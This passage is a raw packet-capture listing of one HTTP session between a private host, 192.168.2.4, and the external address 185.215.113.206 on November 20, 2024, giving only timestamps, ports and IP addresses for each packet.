Nov 20, 2024 12:57:40.859102964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.859112978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.859113932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.859123945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.859133005 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.859169006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.859415054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.859426022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.859436035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.859447002 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.859457016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.859464884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.859467983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.859478951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.859486103 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.859517097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.859694958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.859715939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.859724998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.859735012 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.859736919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.859755039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.859783888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.860209942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.860256910 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.860418081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.860429049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.860439062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.860450029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.860455990 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.860459089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.860465050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.860471010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.860481024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.860491037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.860496044 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.860502005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.860513926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.860517979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.860542059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.860553980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.861052990 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.861063957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.861074924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.861084938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.861095905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.861103058 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.861113071 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.861114979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.861125946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.861133099 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.861136913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.861146927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.861157894 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.861159086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.861177921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.861186981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.861193895 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.861197948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.861208916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.861222982 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.861248016 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.862178087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.862190008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.862200975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.862210989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.862221956 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.862221956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.862231970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.862235069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.862242937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.862253904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.862263918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.862272024 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.862273932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.862286091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.862287045 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.862296104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.862301111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.862322092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.862330914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.862353086 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.862370968 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.863128901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.863141060 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.863151073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.863162041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.863162994 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.863173008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.863183975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.863183022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.863193989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.863204956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.863219976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.863243103 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.863250971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.863262892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.863285065 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.863322020 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.896795988 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.896821022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.896831036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.896842957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.896845102 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.896852970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.896857977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.896864891 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.896877050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.896893024 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.896913052 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.896969080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.896980047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.896991014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.897001982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.897001028 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.897013903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.897026062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.897036076 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.897037029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.897047997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.897058010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.897073030 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.897084951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.897998095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.898008108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.898017883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.898030043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.898036957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.898041010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.898050070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.898058891 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.898061037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.898072004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.898082018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.898093939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.898099899 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.898104906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.898117065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.898119926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.898150921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.903120995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.903167963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.903178930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.903179884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.903194904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.903220892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.903286934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.903300047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.903332949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.903342009 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.903422117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.903433084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.903443098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.903460026 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.903472900 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.943748951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.943763018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.943773031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.943850040 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.943850040 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.943861961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.943871975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.943883896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.943902969 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.943922997 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.944096088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.944107056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.944133997 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.944160938 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.944245100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.944253922 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.944263935 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.944277048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.944283009 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.944314003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.944444895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.944456100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.944466114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.944483995 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.944514990 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.944694996 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.944705009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.944715023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.944725990 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.944737911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.944741964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.944752932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.944758892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.944763899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.944776058 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.944781065 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.944808960 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.945228100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.945239067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.945249081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.945260048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.945266008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.945271015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.945281982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.945291996 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.945301056 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.945302963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.945313931 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.945322990 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.945326090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.945347071 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.945367098 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.945924997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.945935011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.945945024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.945955992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.945964098 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.945965052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.945976019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.945986032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.945988894 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.945997000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.946007967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.946017981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.946022987 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.946031094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.946048021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.946074963 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.946584940 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.946594954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.946604967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.946615934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.946626902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.946630955 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.946636915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.946646929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.946675062 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.946723938 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.947077990 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.947089911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.947099924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.947109938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.947117090 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.947119951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.947130919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.947141886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.947153091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.947160006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.947163105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.947174072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.947184086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.947194099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.947205067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.947215080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.947221994 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.947271109 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.948050976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.948061943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.948071957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.948081970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.948092937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.948097944 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.948102951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.948113918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.948124886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.948133945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.948137045 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.948146105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.948156118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.948167086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.948177099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.948179960 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.948189020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.948199034 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.948215961 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.948245049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.985342979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.985358953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.985377073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.985402107 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.985430956 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.985461950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.985474110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.985485077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.985493898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.985496044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.985528946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.985786915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.985829115 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.985842943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.985852957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.985863924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.985874891 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.985886097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.985887051 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.985896111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.985907078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.985909939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.985938072 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.986380100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.986390114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.986402035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.986413002 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.986413956 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.986423969 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.986433983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.986438990 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.986449957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.986459970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.986470938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.986474037 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.986480951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.986491919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.986498117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.986500978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.986509085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.986510992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.986541033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.992108107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.992120028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.992131948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.992163897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.992178917 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.992990971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.993002892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.993032932 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.993056059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.993546009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.993556976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:40.993582010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:40.993592978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.032449961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.032464981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.032475948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.032602072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.032612085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.032610893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.032624006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.032635927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.032644987 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.032645941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.032665968 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.032691002 CET	49730	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:41.032860041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:41.032871962 CET	80	49730	185.215.113.206	192.168.2.4
